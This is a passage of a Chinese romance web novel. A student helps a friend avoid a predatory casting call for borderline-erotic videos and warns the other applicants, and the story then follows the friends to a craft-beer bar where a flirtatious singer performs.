闻毓青疑惑,“你比我们早来,怎么还没叫到号?”
“哎呀!”她一拍脑门,“我把那张信息表折起来塞兜里了。”
闻毓青无奈地笑了笑,好一个迷糊的小姐姐。
不到十分钟,于海蕴就出来了,对上闻毓青的视线,神色淡淡地说了句走吧。闻毓青把包还给她,挽着外套,转身和方才认识的汪凝洁道别。
“我先走啦,面试加油!”
汪凝洁指尖点了点手机,“拜拜,下次出来玩。”
离开那间等候室,于海蕴紧绷的神色放松下来,斜睨她一眼,调侃道:“这么快就交到朋友了?”
“你去面试的那会儿我们聊了下,就这样认识了。”闻毓青问:“刚才面试怎么样啊?”
话音刚落,有人从身后喊于海蕴的名字,追了上来。
一个戴着黑框眼镜的男人,递了张名片,“于小姐,我们导演觉得你各方面条件都很优秀,如果改变主意了,可以联系我们。”
于海蕴唇角一抹讥笑,手都没伸。
男人尴尬地晾在原地,转眼瞧见闻毓青,目光从头到脚在她身上扫描。
那眼神流连了良久,以至于闻毓青杵在那儿不舒服极了,抱外套的胳膊不由搂紧了些。
于海蕴顺着他的目光瞥去,闻毓青穿着一件显曲线的紧身毛衣,腰身掐得窈窕玲珑,挺好看的。
只不过,那道评估打量的恶心眼神,尤为煞风景。
男人走近,态度不错地朝闻毓青笑了笑,“这位美女刚才好像没面试吧,有没有兴趣来我们这儿拍拍短剧?”
“她没兴趣。”于海蕴立刻出声。
她皱着眉,一把将闻毓青拉到自己身后,隔绝了那道不坏好意的目光,未待云里雾里的闻毓青搞清楚状况,便径直拉着她离开了那家狗屁影视公司。
闻毓青乖乖跟着她,两人疾步走到了电梯口。
电梯迟迟不上来,她侧目,轻声问:“是不是这家公司有坑?”
“拍擦边短剧的,”于海蕴言简意赅,“面试的时候给我看了几个视频,问我能不能拍,布料很少,尺度不小,在扫黄打非的边缘试探的软/色/情。”
天呐,救命!
想到刚才那个人的视线,闻毓青心头一阵迟来的恶心,同时也被冲击到了,震惊得好一会儿不知道要说什么。
“这...这看着是挺正规的地方啊,公司在写字楼,办公室还有那么多人工作......”
“电诈都还有园区,擦边产业已经成规模了,他们租办公室雇一群人干活不稀奇。”于海蕴见怪不怪。
闻毓青自诩在网上习得许多防骗小贴士,没想到还是见得少了,她问:“他们招募信息写的是什么?有没有什么很隐晦的暗示?”
“很正常的内容,主要是先把人骗过来。”
“...天呐,所以他们就靠着拍那样的视频,赚到了租半层写字楼的钱?这黑心钱怎么这么赚啊!”闻毓青义正辞严道:“真是可恶!”
于海蕴霍然一笑,被骗来面试的不爽心情稍微冲淡了些许。
电梯门叮的一声打开,想起什么,闻毓青脚步顿滞,站在外边没进去。
轿厢里的于海蕴不解地看着她,“怎么了?”
闻毓青说:“我想去跟刚才那个姐姐知会一声。”
汪凝洁还在里面等着面试,她也一样,并不知道他们会想让她们拍摄擦边内容,说不定正在里面一边焦虑着怕试戏不过,一边满怀憧憬地想接下那个角色后要怎么演绎好。
可不论是哪种心情,都不
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应该浪费在那里。
“你发个消息给她,不是加了联系方式?”
闻毓青也明白,不一定要折返,微信说一声就行。但是,她踟躇一会儿,吞吞吐吐地解释,“里面...还有其他人呢。”
于海蕴不可思议地注视着她,有些哭笑不得,“里头又不是在强买强卖,用不着你救风尘,她们不想拍,面试完走人就好。”
闻毓青脚底板黏在原地,倔强地摇摇头,“他们是不是面试的时候和你画大饼,条件有多好,待遇多丰厚,做得好能月入多少万,工作内容只要拍点东西就好...万一有人上当受骗了或者被诱惑了怎么办?更可怕的是,万一他们亮给你看的视频只是他们最低的尺度呢?”
她思索着,忽而道:“要不你先下楼等我,我过去一趟,等会儿再下来和你汇合。”
“闻毓青!”于海蕴喊住转身要走的女孩,“你刚才说的只是许多种可能里的其中一种假设,我不是跟你说了里头面试的情景了么,没你说的那么夸张。而且——”
她顿了顿,还是很现实地告诉她,“你怎么知道,就没有人会心甘情愿去拍呢?”
闻毓青身形一滞,抿唇,垂眸盯着地板,陷入思索。
仔细一想,她其实并不特别清楚自己为什么就是想回去,只是心头一开始就涌上来的冲动想法。
于海蕴也说了,面试者有权拒绝,大不了她们走人就好。
所以,是她把事情复杂化,把问题想得严重化了吗?是她...在多管闲事吗?
她的眼神里,流露出那种碰到难题时的深深困惑,到底为什么呢?
就不说人和人了,一个人的左右脑互搏,都能开三天三夜的辩论大会,她注定无法现在立刻得到一个强有力的、真理般的结论来支撑她的行动。
那么,做还是不做?
她问了问自己,答案依旧是前者。
回过头,她望向于海蕴,“我就进去提醒一下,我只是,不想有人被骗。”
说完,不听劝地转头往里头去。
“闻——”于海蕴没能再喊住人。
一对精致的弯眉蹙成远山,她茫然地望着那道走出了一副壮士断腕气势的背影。
怎么一股中二感?
她和闻毓青交往不密切,此时此刻,她的的确确发现,自己果真对她没那么了解,至少,她从未见过她如此执拗的一面。这个犟脾气的人,是闻毓青?
然而,这也确实是她曾看见过的闻毓青,身上带着一股未经打磨的朴素善良和简单的是非观。
这很好理解,还是在社会上摸爬滚打少了。
于海蕴在模特这行几年,比这恶劣的事都听过见过,这才哪儿到哪儿,像今天这种情况,压根不算多严重。
以后形形色色的人和事见多了,闻毓青或许就不会这样了,大家各扫门前雪,哪有空咸吃萝卜淡操心,管那么多和自己无关的小事情?
她现在能进去和里面的人提醒一声,以后呢,难道每天从早到晚驻扎在这里,拦下每一个要过来的人么?
不可能的。
堵在电梯门口太久了,电梯发出急躁的滴滴提示音,于海蕴神色淡漠地拨了拨头发,旋即往后退了两步。
锃亮的银色电梯门缓缓合上,倒映出一道孑然伶俜的修长身影。
10. 010
也还是怕的,闻毓青的胆子一点都不大。
她驻足在那家公司外边,大脑飞速运转,思考着待会儿该用什么方式告诉大家,才更为周全妥善。
提醒一个人,耳旁悄声说几句话,没什么大动静。提醒一群人,众人窸窸窣窣,而后一伙儿轰隆隆离开的话,可就太引人注目了。
被里面的人当成“闹事”的让保安驱逐出来,这算轻的,被威胁打击报复的话,真就惨了。
现实不会像热血番那样,她英勇地在里面大喊一声“这家公司是骗子”,然后大家就揭竿起义掀了他们的老窝,如一群无畏的战士,浩浩荡荡地冲向明亮的天空之下。
想了想,她在手机上编辑了一段话,打算进去后给大家传阅。
最后一个句号刚敲下,猝不及防间,手机瞬间被人抽走。
闻毓青肩头一颤,心里咯噔一下。
慌乱转头,看见了一张漂亮脸蛋,她诧异,“你怎么回来了?”
“你陪我来的,不想你有事我背锅。”于海蕴读了一遍她写的备忘录,复制粘贴发给自己后,还她手机,“一起去,早点走。”
闻毓青弯起唇角,“走!我们悄悄摸摸的。”
“不算傻。”
她们借口东西落在里面,重新回到等候室。汪凝洁还在里面苦等着,看见她们,投来疑惑的目光。
门口有一个工作人员在负责面试者的叫号,闻毓青状似和汪凝洁随意闲聊,嘴里说着“丢东西了回来找”,手指点了点手机,让她看消息。
汪凝洁这会儿才看到她的消息,面色一变。
三个人的手机在等候室里传递着,众人不明所以地接过手机,安静浏览片刻,又默契自觉地传给下一个人。
有人拿着东西,接二连三地离开了,工作人员觉得古怪,一直往里面瞄。
闻毓青紧张得心快跳出嗓子眼了,继续低头“找东西”。
有的人还坐着,不打算走。闻毓青并不在意,每个人都有自己的考量和抉择,她做了自以为该做的,就没道理再多加干涉了。
而走的那些人途径她们,朝她们微笑,或轻轻挥手,或拍拍她的胳膊。她们用唇语说着拜拜,还有谢谢。
一场悄无声息的撤离正在发生。
闻毓青不时盯着门口,目睹着周围的一切,下意识拽着于海蕴的衣袖,光滑平整的风衣袖口被揪出了深深的褶皱。
这有什么好紧张的,于海蕴觑她一眼,嘲笑她怕成这样,真是没出息,却又反手紧握她的手。
“算了,”她扬声,“找不到就别找了,再买一个。”
闻毓青打配合,语气可惜,“好吧,那我们走吧。”
她看向坐着的汪凝洁,示意她一起走,隔着屋内稀疏的人群,对方朝她缓缓摇头。
闻毓青怔愣,始料不及。
顷刻间,心莫名往下一坠,眼底逐渐浮出浓重的困惑。
于海蕴目光她们之间来回扫了扫,拽了下傻站着的闻毓青,“走了。”
工作人员探头进来叫人,喊了好几遍名字,无应答。下一个,仍旧没有得到回应。他接着往下叫,一连跳了好几个号。
直到喊道:“汪凝洁。”
“来了。”
声音回荡在和之前相比更空荡的屋里,砸在闻毓青耳膜。
她的心咣当一下,完全沉底了。
汪凝洁忙站起来往外走,擦肩而过那一刻,闻毓青手指动了动,启唇想说点什么,最后还是归于缄默。
她们才认识不到一小时,萍水相逢,仅此而已。
-
电梯里异常安静,闻毓青盯着金属门,魂不守舍的。
于海蕴看着反光镜面里那张皱巴巴的脸,心里觉得好笑。
楼下有家便利店,她买了两瓶果汁,拿了瓶给闻毓青,也没敢在她怀疑人生的时候多说什么风凉话泼冷水,免得打击那颗已经脆弱得摇摇欲坠的心灵。
然而,于海蕴发现自己挺坏的。
这个时候她偏偏特别想逗她,把人逼急了掉眼泪哇哇哭最好。
“都让你别去了,”她戏谑,“怎么样,失望了?”
“不知道。”闻毓青平静地摇摇头。
她想起汪凝洁刚才聊天时说,她近半年面试了百来个剧组,只得到了几个跑龙套的机会,很久没收入了。
握在手心的塑料瓶,冰冰凉的,手背被风吹得有点泛红。
深呼吸一口气,闻毓青拧开果汁瓶盖灌了小半瓶,纷杂的情绪连同饮料从食道冲进胃里,留在身体里静默反刍着。
最后只说:“我没资格评判别人什么。”
于海蕴意外地挑了下眉。
“外面好冷,”闻毓青把外衣拉链拉到最上面,看了下时间说:“咱们早点回去吧,下午你不是还有一场面试。”
于海蕴懒倦地打了个哈欠,“我有点困,懒得折腾了。”她提议,“我们找家店吃饭,然后在附近开钟点房午休,之后打车过去面试。”
闻毓青无异议,两个人就近进到一家米粉店嗦粉。
在小料区加了好几勺酸豆角、葱花香菜和辣椒酱,混着锅烧和牛肉片,在浸着卤汁的粉里搅拌均匀,酸辣鲜香的味道飘荡着,闻毓青的口中津液疯狂滋生。
她埋头,一心干饭,整碗热乎乎、香喷喷的米粉下肚,胃里心里都踏实了。
“味道真不错!”
“好巧呀!”
两道声音撞在一起,闻毓青猛然一回头,呆住。
汪凝洁指着四人桌还空着的两个位置,“我能坐这里吗?”
“噢!”闻毓青把旁座的东西清走,堆在另一个椅子上。
汪凝洁坐下,扫码下单了碗粉,和对面于海蕴打招呼自我介绍,而后询问她面试时的具体情况,于海蕴一一回答了她的问题。
“看来咱们面试流程大差不差。”汪凝洁忍不住吐槽,灵动的脸上眉飞色舞,“真是糟糕啊,我心想着,来都来了,姑且去面试看看到底怎么回事,能有多擦...”她愤慨道:“说是福利片都不足为过了,我要去网上发帖曝光他们!!”
闻毓青原本闷声不吭坐在旁边,这时后知后觉,“你就是想去看他们面试什么啊?”
“对啊,不然你以为是什么?”
汪凝洁冲她揶揄一笑,“姐姐还没做好下海的准备呢。”
闻毓青倏地一窘,摸摸鼻子。
一顿饭的时间,她们就知道了汪凝洁以前是表演专业的,毕业后在话剧团待了两年,之后为了男朋友回到宜江,在艺术机构当了好几年的小演员培训老师。
别看好像还在从事表演相关的工作,其实非常边缘,和真正的影视行业脱节很久了,如今想拍戏找不到门路,只好自己一个剧组一个剧组投简历和面试。
吃得差不多,汪凝洁问:“你们下午有事吗,要不要去玩?”
闻毓青告诉她,还要陪于海蕴参加一个面试,她听了,两眼放光,朝于海蕴打听是什么样的剧组,要拍什么。
“看组讯像是青春文艺片。”
于海蕴主动邀她,“要一起去吗?试试能不能线下投个简历。”
“当然没问题!”汪凝洁不喜欢拐弯抹角,直言,“我刚正想和你提这事你就给说了,谢谢啦!”
三个人路上闲聊走到酒店。
睡了一觉补充精神,两个女生醒来,在窗边的自然光下补妆。
出油的脸颊和T区补了散粉,嘴唇涂上明艳鲜红的色彩,汪凝洁扣紧口红盖,对镜抿了抿,然后在耳后和手腕喷了一点香水。
折叠镜一偏,扫见坐旁边椅子上刷单词等人的闻毓青。
二十出头的女大,白白净净、素面朝天的,脸颊有点婴儿肥,还是一副青涩稚气的模样。
她忽地心血来潮,旋出口红膏体,对着她的嘴唇,“这颜色应该挺适合你的,我给你抹点,显气色。”
闻毓青来不及说不,下巴就被
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托起,她仰着脸,不安地眨动睫毛。
口红轻轻按压在柔软的嘴唇,形变出玫瑰色的凹陷,红色覆满全唇后,汪凝洁开始为她细致晕染唇线边缘。
她称赞,“唇形很漂亮呢。”
虽是夸奖,闻毓青却感到无所适从。
温暖的指腹从她的下唇移到上唇,落在唇峰的位置,忽而停下,汪凝洁疑惑地嗯了一声,“人中这里有条疤痕呀,以前摔过跤受过伤吗?”
闻毓青喉间一涩,沉默了几秒。
这个问题,不止汪凝洁问过,舍友帮她化妆的时候也感到奇怪地问了一嘴。
下巴退离那只小巧的手掌,她撇过脸,简单含混地说:“因为之前有做过手术。”
“很淡啦,社交距离一点都不明显,”看出她很在意那道疤,汪凝洁语调轻松地告诉她,“我刚才不给你涂口红都看不出来。”
于海蕴俯身凑过来,有样学样地像汪凝洁刚才那样,捏着她下巴抬起来仔细看。
闻毓青怕别人盯着她,习惯性躲避对视。
于海蕴很早便发现了这个问题,之前只是以为她有什么对视恐惧症,听见刚才她们的对话,大概知晓了原因。
她近处看一遍,又后退站远了看,“不明显,再上点粉底,就什么都看不出来。”
“没骗你吧。”汪凝洁说。
闻毓青知道这两个人是好心安慰她,但是,她们重点搞错了。
她叹口气,其实也没什么不能说的吧。
“我没有很在意这道疤啦,”她不疾不徐解释:“这是做唇腭裂手术留下的疤痕,修复后能到这种程度我已经很满足了。”
汪凝洁愣了下,恍悟,“哇,那你手术做得挺成功的诶!恭喜恭喜!”
“哪家医院,有整形科吗?”于海蕴问。
“啊!”闻毓青一惊,“你想做什么!”
汪凝洁双臂交叉,忙制止,“傻孩子!不许在你完美的脸蛋上动手脚!”
几人哄笑作一团。
房间浮荡着丝丝缕缕来自女孩身上的香气,随着那笑得花枝乱颤的身影起起伏伏,飘进闻毓青的鼻尖。
是清香的、温和的、不刺激的味道。
真好闻。
实际上,闻毓青的确不在意这条疤痕。
她真正在意的,是这道烙印代表的过往。从出生起,那些来来往往看稀罕的,甚至耻笑、嫌恶的眼神,反复不断地加深那条崩裂在唇齿和鼻子之间的沟壑。
她畏惧、害怕,不知所措,早已不知如何直视,任何流经她面庞的目光。
她清晰明白地意识到这一点。
哪怕缺陷已经修复好,原来的地方却好像永远留下了一条,只有她看得见的狰狞裂谷。
她并不想提及那段日子。
而她们有分寸地轻描淡写,打着哈哈话。
疤痕很浅,真的不明显。过往的烙印,就好像也在这些轻细慎重的回应里,丧失猎奇的存在感,逐渐趋于浅淡,淡成一缕无影无踪的香气。
下午的面试在酒店,是正儿八经的剧组。
只不过是一群很年轻的编剧导演制片组成的寒酸剧组,面试场地租在一个小旧的宾馆房间,线下接收到汪凝洁的资料,还非常热情地欢迎她来参加面试。
剧组预算捉襟见肘,作风极其朴实,一开始就丑话说在前头,告诉她们钱不多,想赚钱就别来这里耽误时间了。
闻毓青听完她们的详述,唇角弯弯,总结:草台班子。
汪凝洁却摇头,“其实挺不错了,剧组除了穷,其他的都太正常了!但是你知道他们的剧本有多正常嘛!你知道这有多么难得嘛!太感人了。”
于海蕴见过太多天雷滚滚的剧本,颇为赞同地点了下头。
剩下的事就是回去等结果了,但汪凝洁还不想和她们分开,确认她们晚上都有空后,一手一个,拽着两个妹子放肆撒欢去了。
“走!姐姐带你们去喝酒!”
11. 011
一家打着女性友好旗号的禁烟酒吧。
汪凝洁喜欢热闹,是个酒蒙子,但大部分气氛热烈的酒吧迪厅往往都烟熏雾燎的,她过敏性鼻炎,闻不了一点烟味。
这家精酿酒馆开了五年,正好是她从离开话剧团回到宜江那一年开的,她算是店里的最早一批的老客户了。
虽如此,闻毓青还是在厕所闻到了烟味。
是回去时路过男厕闻到的。
手里攥着一团着洗手擦水的纸巾,刚才忘记扔了,她张望着路上哪里还有垃圾桶。
几米外的拐弯处墙角,有个造型独特的摆件,黑色高脚酒杯的形状,看到地上几片掉出来的果皮,她才确定那是垃圾桶。
刚走过去,一个烟头忽然从半空丢来,险些划到闻毓青的脸上,她吓一跳,反应很快地仰起脸,身体后倾,那烟头就直直掉进黑色的大高脚杯里。
因为处在拐角的视线盲区,那边的人并没有留意到差点被误伤的她。
还在漫不经心地交谈着。
“你这什么禁烟酒吧,老板自己还抽?”
闻毓青倏地定在墙角。
这欠欠的声音,好耳熟...
“我可没说厕所不让抽啊,总要给我们抽烟的人留条活路吧。”
“就不怕人家说你店里挂羊头卖狗肉。”
“害!这有啥的,我们店禁烟已经做得不错了,再吹毛求疵就找不到几家了。”
在酿酒一事上,万顷松是纯粹的热爱,但在经营酒馆一事上,他是个十足的商人,开店不是为了展览他酿的酒,是为了赚钱。
禁烟也只是一种营销宣传手段,为了多吸引点女顾客。
万顷松坚持店里只兜售自己做的精酿,不是规模化生产,成本高,单价比那些市面上批量生产的啤酒贵,来这儿喝酒寻开心的人,想多喝几杯又被价格劝退,还不如去外头点一打百威科罗娜那些的工业酒。
精酿容易醉,得慢慢喝,每次喝那么一两杯,顾客单次消费注定不会很高,万顷松只能从客流着手,想尽办法多多招揽顾客。
店是和兄弟合伙一起开的,兄弟是个赛车手,跟俱乐部忙着全世界到处比赛,开这家酒馆他出了大头的钱,店里的经营则是全靠万顷松。
万顷松怎么经营他都没任何意见,这奇葩唯一的要求就是,不让抽烟。
干,那还开什么酒吧?爱来喝酒的,有几个是只沾酒不沾烟的?何况,万顷松自己也是个老烟鬼。这年头搞小众中的小众,就等着喝西北风吧,还不如早点收拾收拾各回各家得了。
因为这点,两人还起了争执。
但出钱的是大爷,万顷松最后只能不情不愿地接受这个条件,开店头两年都是负收,他愁得白头发都多了好几根。
后来就钻研琢磨着,怎么宣传引流更有效果,现在是酒香也怕巷子深的时代,他各种酒水优惠活动没少搞,也没少找当地的探店博主打广告。
他是个卖酒的,怎么能赚钱怎么来,看到近几年网上的女性营销比较吃香,他便顺势从他们酒馆和大众酒吧的差异化入手,打出禁烟酒吧和live音乐酒馆的特色宣传——
禁烟、酒好、有歌听、有帅哥。
这也是他求着陆曦泽来店里唱歌的原因。
男色是第一生产力啊,他这招蜂引蝶的脸一看就能招姑娘喜欢,不然那些商k酒吧甚至还有餐吧,他们请一堆模子哥当服务生做什么呢?还不是为了赚女客人的钱。
但这家伙今晚刚来就收到了投诉。
好几个常客发消息给他,说她们点的歌,新来的驻唱小哥哥没给她们唱。
他从烟盒夹了支烟递过去,“来一根?”
陆曦泽摆手,“戒烟了。”
“哟,戒多久了?”
“快半年了。”
他啧啧两声,“忍者啊,厉害。”又问:“为啥戒烟?”
陆曦泽扫了他一眼,张口就来,“吸烟有害身体健康,我妈不让我抽。”
被冷冷幽了一默,万顷松骂,“神经病。”他言归正传,拿腔拿调地问:“你来我这儿唱歌,我是你老板,你认不认?”
陆曦泽懒得听他绕圈子,“你要说什么?”
“当初不是说好了,客人点的歌要唱,刚好几个客人都到我这儿投诉你了!”万顷松就知道,这小少爷没那么容易乖乖配合,但没想到他刚来就给他搞事,“你不能这么砸我店的生意啊。”
“他们投诉什么了,我看看。”
万顷松找了条消息,手机递给他。
陆曦泽表情淡定,照着念,“‘老板,你们的点歌小程序是不是坏了呀?我今晚点了好几次歌,新来的小哥哥都没看到捏,我就是和你说一声,千万别扣小哥哥工资!小哥哥唱得超好哦!’”
这人还挺善良,陆曦泽笑起来,手机扔回万顷松兜里,“这不投诉你呢,跟我有什么关系?该维修你们的小程序了。”
万顷松翻了个白眼,“狗屁!我真是请了个祖宗来,人家子安什么都能唱,就你不能?”
陆曦泽心道,他能唱,那就多唱呗。
“行,你是我老板,那你说说,”他露出郁闷的神情,耸了耸肩,“她们让我唱什么上车摇,我哪儿会啊。”
啧,摆出这副为难的死样子,拿去忽悠小姑娘,说不定人家马上就觉得委屈他了。
“去学!”万顷松不吃这套,还是那句话,“子安不也一样唱,就你屁事多,矫情!”
陆曦泽无语,“能不能有点格调,你这是精酿酒吧,不是抖吧。”
“我倒希望是呢,活人那么多,赚死了。人家不就是喜欢追个热点嘛,你摆什么谱儿?”
“没摆谱儿,真不会。”
“我现在搜给你学!”
“可别,客人还在吗?我请她们喝一杯道个歉。”
“就是不肯学是吧?”
“昂。”
“......”万顷松是真想给这油盐不进的臭小子来一拳啊。
但忍住了。
前天他发了个视频到酒馆的几个顾客群里,是陆曦泽之前在酒吧唱歌时他录的,在群里宣传完店里有新来的帅哥驻唱后,客人们反响热烈,今晚来店里的姑娘肉眼可见的比以往多了一倍。
他不能和钱过不去。
万顷松长舒一口气,打算抽根烟降降火气。
眼看他擦燃打火机,要把手上那支没成功递出去的烟给点了,陆曦泽嫌弃道:“能别在我边上抽么,瘾这么大?”
“当你没抽过呢,说这话。”万顷松没好气地怼他。
陆曦泽扯起唇角,嘁了一声,“在我一戒烟的人旁边抽烟,你缺不缺德啊。”
这个德万顷松还真要缺一次,才能解气。
烟还是点着了,闪着猩红。
“喂!”陆曦泽叫一声,“大哥你一把年纪了,还这么幼稚。”
万顷松贱嗖嗖地朝他吐烟圈。
他急忙偏头,嫌弃地躲开,从兜里摸了颗薄荷糖剥开,糖纸揉成小球,手腕灵活一投掷,丢进不远处的垃圾桶。
也正是此刻,他的眼眸忽地眯起来,视线锚定在某一处——
酒吧光线偏暗,一道影子投在拐角处的墙上,不明显,而且没动静,不留心真注意不到。
那影子一动不动的,杵在那儿,干嘛呢?
“找你半天
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了,怎么在这儿呢!”
煦煦小跑过来,气喘吁吁的,“轮到你了,子安都帮你唱两首了,你快过去!”
陆曦泽往墙角去的脚步一顿。
“行,马上。”
-
所以,她以为的不正经的活儿,其实就只是酒吧驻唱?
闻毓青听完这趟墙角,可算明白是怎么一回事了,大脑帮她回忆起那天的情形,她叽里呱啦的,跟人家说什么别走歪路这种话...
天,她现在只想捂脸遁地。
他当时一定很莫名其妙吧,觉得她有毛病。
尴尬了一会儿,她又想,其实也不能完全怪她,谁让陆曦泽满嘴跑火车,所以造成这桩乌龙的责任,只能五五分。
还有,他还欠我钱呢!闻毓青又想起来。
于海蕴打电话问她怎么还没回去,手里头的纸团终于丢了,她赶忙回去与她们汇合。
她们坐的位置,是离音乐舞台最近的那张卡座,能看到台上还在调试设备,驻唱一只好看的手,懒懒搭在话筒支架上,正侧身回头,和身后的乐队确认情况,底下一群女孩子却早已举着手机录视频。
“台桌上有点餐码,想喝什么,你看一下。”汪凝洁说。
闻毓青收回目光,低头扫码看菜单,好贵,最便宜的一杯酒都要105。
而且这些一长串花里胡哨的酒水名字里,她唯一能看懂的就是那行以“xxxxx小麦”命名的酒,应该就是小麦啤的意思了。
“我不怎么喝酒,点了喝不完浪费,”她合上手机,“你们点吧。”
她是真的不喜欢喝酒,小时候好奇,偷偷尝了口阿欢姐做啤酒鸭剩下的啤酒,辣得她直伸舌头,回味着口中残留的涩味,酒是苦的,不好喝,还比不上小店卖的玻璃瓶汽水。
“我们点完了。”汪凝洁告诉她,“你翻下边去,那里有饮料小食,点你想吃的。”
饮料的话,闻毓青还是很ok的,她点了一罐店里最便宜的旺仔。
汪凝洁笑她,“还是小朋友呢。”
又给她加了杯蓝色的柠檬汽水、果盘和几样炸食。
“汪汪,别点了,”眼看着已点页面的东西越来越多,闻毓青有点坐不住了,拽了下她的衣袖,虽然汪凝洁说要请客,但这里东西不便宜,能替她省点就省点,她低声道:“你不是半年都没收入吗?”
汪凝洁觉得这实心眼儿的孩子真是可爱,她是近半年没什么收入,但工作这么些年,没点积蓄说不过去吧,怎么也用不着让她这个还没毕业的学生妹,替她省这点酒水小食钱。
“这些能找营销核销,我是老客户了,有优惠的,放心吃吧。”
两人方才点的酒已经上了,汪凝洁的一大杯西海岸IPA,还有于海蕴点的两小杯,西打和美式IPA,她把那杯西打递给闻毓青,“你尝尝这个。”
闻毓青浅浅啜了一口,酸酸甜甜的,惊喜道:“还挺好喝的,果酒吗?”
“苹果酒,度数不高,你拿去喝吧。”
“那你不喝吗?”
“就是给你点的。”
闻毓青心里呜一声,表白于海蕴千千万万遍!
咚的一声。
架子鼓的声音忽然响起。
“啊啊啊啊!”台下有人发出欢呼的尖叫。
酒吧装了一套高级的舞台灯光控制系统,有专门的灯光师在后台操作,卡座的光源迅速暗下来,舞台打上逆光,勾勒出桀骜不羁的一道剪影。
气氛一下子就给足了。
一段节奏过后,驻唱开嗓的瞬间,追光照在他的脸上,吸引了底下所有人的视线。
闻毓青抬头看向舞台。
12. 012
《EarlytoBed》,台下的人都跟着站起来,他们抬起手,半举着酒杯,伴随贝斯的节奏轻摇慢晃。
晃动中,浑浊的酒水从杯沿洒出些许,弥漫着迷幻光线的空气里,溅开一朵朵像是助兴的半透明烟花。
之后是一首慵懒性感《ShutupMyMonsCalling》。
台上的人松弛自在地低唱,好似并不在意这里有多少人,为他欢呼的声音有多大,只是敛着眼眸,沉浸在表演里,沉浸在这首歌带了的氛围之中,如同享受一杯微醺的精酿。
偶尔嘴角浮起一抹没有重量的笑,不是那种朝观众讨好或耍帅的笑,只是唱到兴头,自然而然的流露。
光线迷离缱绻,为他的唇角附上暧昧撩拨的滤色,仅是简单散漫的勾唇,就此惹起又一阵尖叫。
大概是渴了。
闻毓青放下那杯见底的西打,衔着插在蓝色气泡水里的吸管,低头吸汽水解渴。
周围又爆发了一阵更难以抑制的激动叫声,她蓦地抬眼,弧形舞台中央设计了一段延伸舞台,陆曦泽拔下话筒,走到前排卡座的区域蹲下,和对着他的一排手机镜头互动。
而镜头后的女孩们快疯了,啊啊啊疯狂呐喊着,太帅了!
这个人唱起歌来还挺像模像样的嘛,闻毓青想,都快把这个小酒吧开成他个人专场演唱会了。
换了只手握话筒,陆曦泽走到舞台另一边互动,蹲下的瞬间,视线越过层层叠叠的手机,对上了一双亮莹莹的杏眼。
眸中闪现一晃而过的意外,他朝她挑了下眉。
闻毓青也愣了下,视线像被胶水黏住了似的,迟迟无法移开。
然后她看见,陆曦泽单眯一只眼,手指比了个手枪的姿势,略一歪头,另一只眼睛锁定她。
而后,手腕向上灵巧一抬。
扳机扣下。
砰!
猝不及防的一个饭撒,台下再度爆发出此起彼伏的尖叫。
陆曦泽拿着话筒,继续往下唱,轻轻晃动身体,垂眸反复低唱着那句低哑迷离的“Babehome”。
见到了那张熟悉的面孔的缘故,再抬起头时,竟然下意识地看向某一处。
女生安静坐着,仰起一张红扑扑的脸,认真观看台上的演出,反应怎么也比不上周围得人来得热烈。
他忽然想逗逗她,向前几步,屈膝蹲在离她最近的舞台边缘,就直勾勾地盯着她唱,只见她睫毛扑闪几下,忙抓起桌上一罐旺仔送到唇边。
陆曦泽忍不住破功,以免笑场过于明显,反应很快地拉远手麦。
一曲唱完,他和观众道谢。
台下有人朝他吹口哨,递了杯特调,“帅哥,请你喝一杯。”
陆曦泽这才注意到,于海蕴也在场。
是几百年没见的人了,追他的姑娘里,长得最高的那个,老发朋友圈照片,他依稀记得好像是个模特的来着。
戚志杰之前想追她,让他帮忙约出来过几次,人看不上他,最后没成。
陆曦泽倒是和她一来二回的成了半个朋友。
他毫不客气地接过,“谢了。”
底下请他喝酒被拒的人不满,撒娇抱怨,“怎么只喝大美女送的啊!”
他拿起话筒,睁眼说瞎话,“这我好朋友。”
杯口冒着干冰的白气,男生修长的指节握在杯身,玻璃壁上挂着珠液,有点滑手,于是他的指尖稍稍施力压着,手背嶙峋的筋骨随即偾张而起。
闻毓青一直觉得,酒吧这种地方,酒水、灯光、音乐,全是滥情的推手。
就像此时此刻,那只性感清瘦的手,是森林深处的树脉,薄雾纠缠缭绕着,变幻的灯色也变得妖靡风流。
他勾着雾气送到嘴边,仰起脖子又是另一番诱人风景,喉结滚动啜饮两口,双唇沾上水光。
一举一动,随时随刻,都在不经意间勾引人。
底下拍照录像的手机到这时依然没停下,孜孜不倦地记录着台上的人。
有人看热闹不嫌事大,追问:“不会是女朋友吧。”
陆曦泽颇为无语,幽怨的眼神扫向对方,“姐妹,别闹了。”
“哈哈哈哈!”
底下的姐妹们快笑死了。
他腾地起身,拿着那杯酒,往舞台正中央回。
转身最后一眼,视线穿过散射的灯光,在闻毓青身上停留了会儿,而后举起酒杯,和她遥遥碰了个杯。
哐当一声。
旺仔也喝完了,铁罐底部在桌面碰出声响,瓶子加入空杯的序列之中。
那杯苹果酒度数真的很低吗?
连着喝完汽水和牛奶,闻毓青觉得脸仍旧烧得烫烫的,脑子也醉醺醺,她想着,自己可能真的喝不了什么酒。
她侧头靠在沙发上,用手背贴在脸颊降温。
汪凝洁瞅着对面的女生,感叹还是个年轻不经撩的小姑娘呐。
“挺带感的吧。”她悠悠道。
闻毓青眨眨眼,没说话,汪凝洁端起酒杯又啜饮几口,仰头望向台上。
相貌和气质其实是两回事,前者是肉眼可观的特征,匠气可雕琢,后者则是一种感觉,写意泼墨画中无意却浑然天成的一笔。
像这种男孩,洒脱肆意不羁,确实挺酷,尤其吸引年轻小姑娘,台下的女生们都快叫翻屋顶了,汪凝洁敢说,这弟弟的微信今晚要加爆。要是再年轻十岁,她就直接冲了。
可惜她对弟弟不感兴趣,浸在热闹的气氛里,只跟着情绪走。
看得高兴了,就和台下的人一起,朝台上的少年高呼捧场,好似仍是个热烈疯狂的十八岁少女一般。
又开始了新的一首歌,这新来的驻唱弟弟,挺爱唱英文歌的。
她眼尖,在酒馆昏昧的光线里,一眼看到那个穿梭在人群里,脑后扎着个小辫子、体型壮硕的男人,抬手唤不远处那人,“老万!”
闻毓青发着呆,被清脆的一嗓子喊得回过神来。
男人扭头转过来,她看见一张留着巴尔博胡子的脸,那人戴着黑框眼镜,是个粗狂又文雅的大叔。
他露出一副看见稀客的表情,直直朝她们走来。
一过来就和汪凝洁插科打诨,“哎呀,这谁呀,还以为我们W&L被汪妹妹拉进黑名单了,最近哪儿发财了啊。”
说着扬起手,要和她来个bro的击掌握手。
那手被烟味腌透了,在空气里朝汪凝洁面前一挥,简直人形烟草味雾喷剂。
